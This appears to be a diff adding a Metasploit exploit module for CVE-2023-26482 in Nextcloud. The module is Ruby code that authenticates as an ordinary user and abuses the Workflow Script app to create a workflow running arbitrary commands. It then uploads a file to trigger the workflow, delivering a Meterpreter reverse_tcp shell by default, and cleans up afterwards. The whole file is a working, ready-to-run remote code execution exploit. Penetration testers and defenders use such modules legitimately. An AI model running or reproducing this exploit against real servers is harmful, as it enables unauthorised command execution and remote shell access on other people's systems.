|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::Retry |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + @token = nil |
| 14 | + |
| 15 | + super( |
| 16 | + update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'Nextcloud Workflows Remote Code Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + This module adds workflows as an authenticated user |
| 21 | + which can only be created by administrators by design. |
| 22 | + If the app "Nextcloud Workflow Script" is installed it |
| 23 | + is possible to generate a workflow that executes commands. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => [ |
| 27 | + 'Enis Maholli', # Discovery |
| 28 | + 'arianitisufi', # Discovery |
| 29 | + 'Armend Gashi', # Discovery |
| 30 | + 'whotwagner' # Metasploit Module |
| 31 | + ], |
| 32 | + 'References' => [ |
| 33 | + ['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'], |
| 34 | + ['CVE', '2023-26482'] |
| 35 | + ], |
| 36 | + 'Platform' => %w[linux unix], |
| 37 | + 'Targets' => [ |
| 38 | + [ |
| 39 | + 'nix Command', |
| 40 | + { |
| 41 | + 'Platform' => %w[unix linux], |
| 42 | + 'Arch' => ARCH_CMD, |
| 43 | + 'Type' => :unix_cmd, |
| 44 | + 'DefaultOptions' => { |
| 45 | + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', |
| 46 | + 'FETCH_WRITABLE_DIR' => '/tmp' |
| 47 | + } |
| 48 | + } |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'Privileged' => false, |
| 52 | + 'DisclosureDate' => '2023-03-30', |
| 53 | + 'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i }, |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'Notes' => { |
| 56 | + 'Stability' => [CRASH_SAFE], |
| 57 | + 'Reliability' => [REPEATABLE_SESSION], |
| 58 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
| 59 | + } |
| 60 | + ) |
| 61 | + ) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']), |
| 66 | + OptString.new('USERNAME', [true, 'The username to authenticate as']), |
| 67 | + OptString.new('PASSWORD', [true, 'The password to authenticate with']) |
| 68 | + ] |
| 69 | + ) |
| 70 | + end |
| 71 | + |
| 72 | + def parse_token(res) |
| 73 | + return if res.nil? |
| 74 | + |
| 75 | + if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value |
| 76 | + Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value) |
| 77 | + else |
| 78 | + print_error('token not found') |
| 79 | + nil |
| 80 | + end |
| 81 | + end |
| 82 | + |
| 83 | + def authenticate(user, pass) |
| 84 | + res = send_request_cgi( |
| 85 | + 'uri' => normalize_uri(target_uri.path, 'login'), |
| 86 | + 'method' => 'GET', |
| 87 | + 'keep_cookies' => true |
| 88 | + ) |
| 89 | + fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200 |
| 90 | + @token = parse_token(res) |
| 91 | + fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil? |
| 92 | + |
| 93 | + data = "user=#{user}&password=#{pass}&requesttoken=#{@token}" |
| 94 | + |
| 95 | + res = send_request_cgi( |
| 96 | + 'uri' => normalize_uri(target_uri.path, 'login'), |
| 97 | + 'method' => 'POST', |
| 98 | + 'data' => data.to_s, |
| 99 | + 'keep_cookies' => true |
| 100 | + ) |
| 101 | + |
| 102 | + fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401 |
| 103 | + end |
| 104 | + |
| 105 | + def request_token |
| 106 | + res = send_request_cgi( |
| 107 | + 'uri' => normalize_uri(target_uri.path, 'csrftoken'), |
| 108 | + 'method' => 'GET', |
| 109 | + 'keep_cookies' => true |
| 110 | + ) |
| 111 | + fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200 |
| 112 | + @token = res.get_json_document['token'] |
| 113 | + fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil? |
| 114 | + end |
| 115 | + |
| 116 | + def create_workflow(operation) |
| 117 | + res = send_request_cgi( |
| 118 | + 'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'), |
| 119 | + 'method' => 'POST', |
| 120 | + 'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' }, |
| 121 | + 'vars_get' => { 'format' => 'json' }, |
| 122 | + 'data' => { |
| 123 | + 'id' => -1743078702939, |
| 124 | + 'class' => 'OCA\\WorkflowScript\\Operation', |
| 125 | + 'entity' => 'OCA\\WorkflowEngine\\Entity\\File', |
| 126 | + 'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'], |
| 127 | + 'name' => '', |
| 128 | + 'checks' => [ |
| 129 | + { |
| 130 | + 'class' => 'OCA\\WorkflowEngine\\Check\\FileName', |
| 131 | + 'operator' => 'matches', |
| 132 | + 'value' => '/.*/', |
| 133 | + 'invalid' => false |
| 134 | + } |
| 135 | + ], |
| 136 | + 'operation' => operation, |
| 137 | + 'valid' => true |
| 138 | + }.to_json, |
| 139 | + 'keep_cookies' => true |
| 140 | + ) |
| 141 | + |
| 142 | + fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200 |
| 143 | + json_data = res.get_json_document |
| 144 | + flow_id = json_data.dig('ocs', 'data', 'id') |
| 145 | + flow_id |
| 146 | + end |
| 147 | + |
| 148 | + def upload_file(filename) |
| 149 | + res = send_request_cgi( |
| 150 | + 'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"), |
| 151 | + 'method' => 'PUT', |
| 152 | + 'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' } |
| 153 | + ) |
| 154 | + fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created' |
| 155 | + end |
| 156 | + |
| 157 | + def delete_workflow(workflow_id) |
| 158 | + send_request_cgi( |
| 159 | + 'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"), |
| 160 | + 'vars_get' => { 'format' => 'json' }, |
| 161 | + 'method' => 'DELETE', |
| 162 | + 'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' }, |
| 163 | + 'keep_cookies' => true |
| 164 | + ) |
| 165 | + end |
| 166 | + |
| 167 | + def delete_file(user, filename) |
| 168 | + send_request_cgi( |
| 169 | + 'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"), |
| 170 | + 'method' => 'DELETE', |
| 171 | + 'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' } |
| 172 | + ) |
| 173 | + end |
| 174 | + |
| 175 | + def check |
| 176 | + # For the check command |
| 177 | + cookie_jar.clear |
| 178 | + |
| 179 | + authenticate(datastore['USERNAME'], datastore['PASSWORD']) |
| 180 | + request_token |
| 181 | + flow_id = create_workflow('sleep 1') |
| 182 | + |
| 183 | + Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil? |
| 184 | + |
| 185 | + delete_workflow(flow_id) |
| 186 | + Exploit::CheckCode::Vulnerable |
| 187 | + end |
| 188 | + |
| 189 | + def exploit |
| 190 | + # Main function |
| 191 | + cookie_jar.clear |
| 192 | + |
| 193 | + authenticate(datastore['USERNAME'], datastore['PASSWORD']) |
| 194 | + |
| 195 | + request_token |
| 196 | + |
| 197 | + case target['Type'] |
| 198 | + when :unix_cmd |
| 199 | + execute_command(payload.encoded) |
| 200 | + end |
| 201 | + end |
| 202 | + |
| 203 | + def execute_command(cmd, _opts = {}) |
| 204 | + print_status('Sending payload..') |
| 205 | + @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt" |
| 206 | + @flow_id = create_workflow(cmd.to_s) |
| 207 | + |
| 208 | + fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil? |
| 209 | + |
| 210 | + print_good('Workflow created') |
| 211 | + upload_file(@temp_filename) |
| 212 | + end |
| 213 | + |
| 214 | + def need_cleanup? |
| 215 | + defined?(@temp_filename) && @temp_filename |
| 216 | + end |
| 217 | + |
| 218 | + def cleanup |
| 219 | + super |
| 220 | + return unless need_cleanup? |
| 221 | + |
| 222 | + print_status('Cleaning up') |
| 223 | + |
| 224 | + delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id |
| 225 | + delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename |
| 226 | + |
| 227 | + @flow_id = nil |
| 228 | + @temp_filename = nil |
| 229 | + end |
| 230 | +end |
0 commit comments